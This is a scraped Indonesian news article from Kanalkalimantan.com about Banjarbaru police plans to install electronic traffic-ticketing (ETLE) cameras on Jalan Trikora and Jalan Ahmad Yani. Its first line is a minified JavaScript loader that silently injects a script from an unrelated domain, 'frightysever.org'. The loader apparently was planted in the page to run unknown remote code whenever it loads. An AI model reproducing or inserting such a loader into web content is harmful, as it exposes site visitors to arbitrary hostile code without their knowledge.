(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi perhatian di Kota Banjarbaru sebagai Ibu Kota Provinsi Kalimantan Selatan .
Kepolisian Resor (Polres) Banjarbaru menilai pemasangan kamera tilang elektronik atau electronic traffic law enforcement (ETLE) perlu dilakukan.
Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra mengatakan, dua titik tersebut di antaranya jalur masuk Kota Banjarbaru di Jalan Trikora dan Jalan Ahmad Yani persimpangan Brimobda Kalsel.
Baca juga: Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah
Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra. Foto : wanda
“Titik spesifiknya sampai dengan saat ini adalah pertama di Jalan Trikora dan Jalan Ahmad Yani lampu merah Brimob, mengingat pelanggaraan lalu lintas dan kerawanan laka lantas salah satunya di Trikora cukup besar,” ujar Kabag Ops Polres Banjarbaru, Senin (20/5/2024) siang.
Progres rencana pemasangan ETLE di Kota Banjarbaru saat ini sudah sampai pada tahap penyerahan dana hibah dari Pemerintah Kota Banjarbaru kepada Polres dan Dinas Perhubungan sebagai pelaksana.
Pihak vendor atau penyedia tengah melakukan pengecekan untuk pemasangan tiang ETLE di masing-masing titik.
“Apakah titik bisa berubah jawabannya bisa berubah, tinggal menunggu dari vendor yang akan memasang ETLE,” jelas dia.
Baca juga: ‘Memakan’ Jalan, Lapak Pedagang Pasar Lama Diminta Mundur
Kapolres Banjarbaru AKBP Dody Harza Kusumah. Foto: wanda
Kabag Ops menjelaskan, sistem tilang elektronik bekerja selama 24 jam sehingga apapun pelanggaran maupun kesalahan yang dilakukan, pengguna jalan tidak bisa mengelak lagi, sebab sudah ada bukti yang merekam.
“Melalui ETLE sudah terdeteksi wajahnya, motornya, dan sistem dalam ETLE itu pun sudah dijadikan sebuah petunjuk atau alat bukti sesuai undang-undang yang sudah ada,” ungkapnya.
“Kita harus bijak menanggapi ETLE, hati-hati dengan ETLE, artinya tertib, tidak ada polisi atau pengurangan petugas untuk dialihkan kepada ETLE,” jelas dia.
Baca juga: Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda
Sementara itu, Kapolres Banjarbaru AKBP Dody Harza Kusumah menghimbau masyarakat melalui ETLE dapat lebih menaati aturan berlalu lintas.
“Alhamdulillah pekan lalu kita tanda tangan dengan Wali Kota terkait hibah, dan sudah didistribusikan ke Polres, serta secapatnya kita akan membuat ETLE di beberapa titik lokasi,” tuntas Kapolres. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More
KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More
KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More
KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Lambung Mangkurat (ULM) memulai… Read More
This website uses cookies.